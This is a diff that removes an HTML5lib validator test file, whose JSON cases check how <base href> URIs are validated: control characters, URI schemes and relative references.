--- a/attic/vendor/plugins/HTML5lib/testdata/validator/base-href-attribute.test
+++ /dev/null
@@ -1,787 +0,0 @@
-{"tests": [
-
-{"description": "base href contains invalid URI due to leading space",
-"input": "<base href=' http://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to trailing space",
-"input": "<base href='http://www.example.com/ '",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to space in scheme",
-"input": "<base href='ht tp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to space in domain",
-"input": "<base href='http://www.example. com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to space in path",
-"input": "<base href='http://www.example.com/a b'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to space in fragment",
-"input": "<base href='http://www.example.com/a#b c'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to space in query",
-"input": "<base href='http://www.example.com/a?b c'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to leading tab",
-"input": "<base href='\thttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to trailing tab",
-"input": "<base href='http://www.example.com/\t'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to tab in scheme",
-"input": "<base href='ht\ttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to tab in domain",
-"input": "<base href='http://www.example.\tcom/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to tab in path",
-"input": "<base href='http://www.example.com/a\tb'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to tab in fragment",
-"input": "<base href='http://www.example.com/a#b\tc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to tab in query",
-"input": "<base href='http://www.example.com/a?b\tc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to leading LF",
-"input": "<base href='\nhttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LF in scheme",
-"input": "<base href='ht\ntp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LF in domain",
-"input": "<base href='http://www.example.\ncom/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LF in path",
-"input": "<base href='http://www.example.com/a\nb'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LF in fragment",
-"input": "<base href='http://www.example.com/a#b\nc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LF in query",
-"input": "<base href='http://www.example.com/a?b\nc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to leading LT",
-"input": "<base href='\u000Bhttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to trailing LT",
-"input": "<base href='http://www.example.com/\u000B'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LT in scheme",
-"input": "<base href='ht\u000Btp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LT in domain",
-"input": "<base href='http://www.example.\u000Bcom/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LT in path",
-"input": "<base href='http://www.example.com/a\u000Bb'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LT in fragment",
-"input": "<base href='http://www.example.com/a#b\u000Bc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to LT in query",
-"input": "<base href='http://www.example.com/a?b\u000Bc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to leading FF",
-"input": "<base href='\u000Chttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to trailing FF",
-"input": "<base href='http://www.example.com/\u000C'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to FF in scheme",
-"input": "<base href='ht\u000Ctp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to FF in domain",
-"input": "<base href='http://www.example.\u000Ccom/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to FF in path",
-"input": "<base href='http://www.example.com/a\u000Cb'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to FF in fragment",
-"input": "<base href='http://www.example.com/a#b\u000Cc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to FF in query",
-"input": "<base href='http://www.example.com/a?b\u000Cc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to leading CR",
-"input": "<base href='\rhttp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to CR in scheme",
-"input": "<base href='ht\rtp://www.example.com/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to CR in domain",
-"input": "<base href='http://www.example.\rcom/'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to CR in path",
-"input": "<base href='http://www.example.com/a\rb'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to CR in fragment",
-"input": "<base href='http://www.example.com/a#b\rc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains invalid URI due to CR in query",
-"input": "<base href='http://www.example.com/a?b\rc'",
-"fail-unless": "invalid-uri-char"},
-
-{"description": "base href contains valid URI scheme 'ftp'",
-"input": "<base href='ftp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'http'",
-"input": "<base href='http://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'gopher'",
-"input": "<base href='gopher://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'mailto'",
-"input": "<base href='mailto://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'news'",
-"input": "<base href='news://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'nntp'",
-"input": "<base href='nntp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'telnet'",
-"input": "<base href='telnet://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'wais'",
-"input": "<base href='wais://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'file'",
-"input": "<base href='file://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'prospero'",
-"input": "<base href='prospero://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'z39.50s'",
-"input": "<base href='z39.50s://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'z39.50r'",
-"input": "<base href='z39.50r://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'cid'",
-"input": "<base href='cid://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'mid'",
-"input": "<base href='mid://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'vemmi'",
-"input": "<base href='vemmi://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'service'",
-"input": "<base href='service://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'imap'",
-"input": "<base href='imap://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'nfs'",
-"input": "<base href='nfs://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'acap'",
-"input": "<base href='acap://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'rtsp'",
-"input": "<base href='rtsp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'tip'",
-"input": "<base href='tip://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'pop'",
-"input": "<base href='pop://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'data'",
-"input": "<base href='data://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'dav'",
-"input": "<base href='dav://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'opaquelocktoken'",
-"input": "<base href='opaquelocktoken://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'sip'",
-"input": "<base href='sip://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'sips'",
-"input": "<base href='sips://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'tel'",
-"input": "<base href='tel://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'fax'",
-"input": "<base href='fax://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'modem'",
-"input": "<base href='modem://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'ldap'",
-"input": "<base href='ldap://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'https'",
-"input": "<base href='https://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'soap.beep'",
-"input": "<base href='soap.beep://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'soap.beeps'",
-"input": "<base href='soap.beeps://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'xmlrpc.beep'",
-"input": "<base href='xmlrpc.beep://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'xmlrpc.beeps'",
-"input": "<base href='xmlrpc.beeps://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'urn'",
-"input": "<base href='urn://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'go'",
-"input": "<base href='go://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'h323'",
-"input": "<base href='h323://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'ipp'",
-"input": "<base href='ipp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'tftp'",
-"input": "<base href='tftp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'mupdate'",
-"input": "<base href='mupdate://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'pres'",
-"input": "<base href='pres://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'im'",
-"input": "<base href='im://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'mtqp'",
-"input": "<base href='mtqp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'iris.beep'",
-"input": "<base href='iris.beep://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'dict'",
-"input": "<base href='dict://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'snmp'",
-"input": "<base href='snmp://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'crid'",
-"input": "<base href='crid://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'tag'",
-"input": "<base href='tag://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'dns'",
-"input": "<base href='dns://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'info'",
-"input": "<base href='info://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'javascript'",
-"input": "<base href='javascript:foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'FTP'",
-"input": "<base href='FTP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'HTTP'",
-"input": "<base href='HTTP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'GOPHER'",
-"input": "<base href='GOPHER://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'MAILTO'",
-"input": "<base href='MAILTO://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'NEWS'",
-"input": "<base href='NEWS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'NNTP'",
-"input": "<base href='NNTP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'TELNET'",
-"input": "<base href='TELNET://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'WAIS'",
-"input": "<base href='WAIS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'FILE'",
-"input": "<base href='FILE://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'PROSPERO'",
-"input": "<base href='PROSPERO://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'Z39.50S'",
-"input": "<base href='Z39.50S://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'Z39.50R'",
-"input": "<base href='Z39.50R://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'CID'",
-"input": "<base href='CID://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'MID'",
-"input": "<base href='MID://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'VEMMI'",
-"input": "<base href='VEMMI://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SERVICE'",
-"input": "<base href='SERVICE://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'IMAP'",
-"input": "<base href='IMAP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'NFS'",
-"input": "<base href='NFS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'ACAP'",
-"input": "<base href='ACAP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'RTSP'",
-"input": "<base href='RTSP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'TIP'",
-"input": "<base href='TIP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'POP'",
-"input": "<base href='POP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'DATA'",
-"input": "<base href='DATA://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'DAV'",
-"input": "<base href='DAV://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'OPAQUELOCKTOKEN'",
-"input": "<base href='OPAQUELOCKTOKEN://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SIP'",
-"input": "<base href='SIP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SIPS'",
-"input": "<base href='SIPS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'TEL'",
-"input": "<base href='TEL://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'FAX'",
-"input": "<base href='FAX://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'MODEM'",
-"input": "<base href='MODEM://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'LDAP'",
-"input": "<base href='LDAP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'HTTPS'",
-"input": "<base href='HTTPS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SOAP.BEEP'",
-"input": "<base href='SOAP.BEEP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SOAP.BEEPS'",
-"input": "<base href='SOAP.BEEPS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'XMLRPC.BEEP'",
-"input": "<base href='XMLRPC.BEEP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'XMLRPC.BEEPS'",
-"input": "<base href='XMLRPC.BEEPS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'URN'",
-"input": "<base href='URN://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'GO'",
-"input": "<base href='GO://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'H323'",
-"input": "<base href='H323://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'IPP'",
-"input": "<base href='IPP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'TFTP'",
-"input": "<base href='TFTP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'MUPDATE'",
-"input": "<base href='MUPDATE://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'PRES'",
-"input": "<base href='PRES://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'IM'",
-"input": "<base href='IM://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'MTQP'",
-"input": "<base href='MTQP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'IRIS.BEEP'",
-"input": "<base href='IRIS.BEEP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'DICT'",
-"input": "<base href='DICT://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'SNMP'",
-"input": "<base href='SNMP://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'CRID'",
-"input": "<base href='CRID://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'TAG'",
-"input": "<base href='TAG://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'DNS'",
-"input": "<base href='DNS://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'INFO'",
-"input": "<base href='INFO://foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'JAVASCRIPT'",
-"input": "<base href='JAVASCRIPT:foo'",
-"fail-if": "invalid-scheme"},
-
-{"description": "base href contains valid URI scheme 'foo'",
-"input": "<base href='foo:bar'",
-"fail-unless": "invalid-scheme"},
-
-{"description": "base href contains valid URI 'g'",
-"input": "<base href='g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI './g'",
-"input": "<base href='./g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g/'",
-"input": "<base href='g/'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '/g'",
-"input": "<base href='/g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '//g'",
-"input": "<base href='//g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '?y'",
-"input": "<base href='?y'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g?y'",
-"input": "<base href='g?y'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '#s'",
-"input": "<base href='#s'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g#s'",
-"input": "<base href='g#s'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g?y#s'",
-"input": "<base href='g?y#s'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI ';x'",
-"input": "<base href=';x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g;x'",
-"input": "<base href='g;x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g;x?y#s'",
-"input": "<base href='g;x?y#s'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '.'",
-"input": "<base href='.'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI './'",
-"input": "<base href='./'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '..'",
-"input": "<base href='..'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../'",
-"input": "<base href='../'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../g'",
-"input": "<base href='../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../..'",
-"input": "<base href='../..'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../../'",
-"input": "<base href='../../'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../../g'",
-"input": "<base href='../../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../../../g'",
-"input": "<base href='../../../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '../../../../g'",
-"input": "<base href='../../../../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '/./g'",
-"input": "<base href='/./g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '/../g'",
-"input": "<base href='/../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g.'",
-"input": "<base href='g.'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '.g'",
-"input": "<base href='.g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g..'",
-"input": "<base href='g..'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI '..g'",
-"input": "<base href='..g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI './../g'",
-"input": "<base href='./../g'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI './g/.'",
-"input": "<base href='./g/.'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g/./h'",
-"input": "<base href='g/./h'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g/../h'",
-"input": "<base href='g/../h'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g;x=1/./y'",
-"input": "<base href='g;x=1/./y'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g;x=1/../y'",
-"input": "<base href='g;x=1/../y'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g?y/./x'",
-"input": "<base href='g?y/./x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g?y/../x'",
-"input": "<base href='g?y/../x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g#s/./x'",
-"input": "<base href='g#s/./x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'g#s/../x'",
-"input": "<base href='g#s/../x'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI './g:h'",
-"input": "<base href='./g:h'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://www.w%33.org'",
-"input": "<base href='http://www.w%33.org'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://r%C3%A4ksm%C3%B6rg%C3%A5s.josefsson.org'",
-"input": "<base href='http://r%C3%A4ksm%C3%B6rg%C3%A5s.josefsson.org'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://xn--rksmrgs-5wao1o.josefsson.org'",
-"input": "<base href='http://xn--rksmrgs-5wao1o.josefsson.org'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://%E7%B4%8D%E8%B1%86.w3.mag.keio.ac.jp'",
-"input": "<base href='http://%E7%B4%8D%E8%B1%86.w3.mag.keio.ac.jp'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://xn--99zt52a.w3.mag.keio.ac.jp'",
-"input": "<base href='http://xn--99zt52a.w3.mag.keio.ac.jp'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://www.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.w3.mag.keio.ac.jp/'",
-"input": "<base href='http://www.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.w3.mag.keio.ac.jp/'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://www.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.w3.mag.keio.ac.jp/'",
-"input": "<base href='http://www.xn--n8jaaaaai5bhf7as8fsfk3jnknefdde3fg11amb5gzdb4wi9bya3kc6lra.w3.mag.keio.ac.jp/'",
-"fail-if": "invalid-attribute-value"},
-
-{"description": "base href contains valid URI 'http://%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.%E3%81%BB%E3%82%93%E3%81%A8%E3%81%86%E3%81%AB%E3%81%AA%E3%81%8C%E3%81%84%E3%82%8F%E3%81%91%E3%81%AE%E3%82%8F%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84%E3%81%A9%E3%82%81%E3%81%84%E3%82%93%E3%82%81%E3%81%84%E3%81%AE%E3%82%89%E3%81%B9%E3%82%8B%E3%81%BE%E3%81%A0%E3%81%AA%E3%81%8C%E3%81%8F%E3%81%97%E3%81%AA%E3%81%84%E3%81%A8%E3%81%9F%E3%82%8A%E3%81%AA%E3%81%84.w3.mag.keio.ac.jp/'",
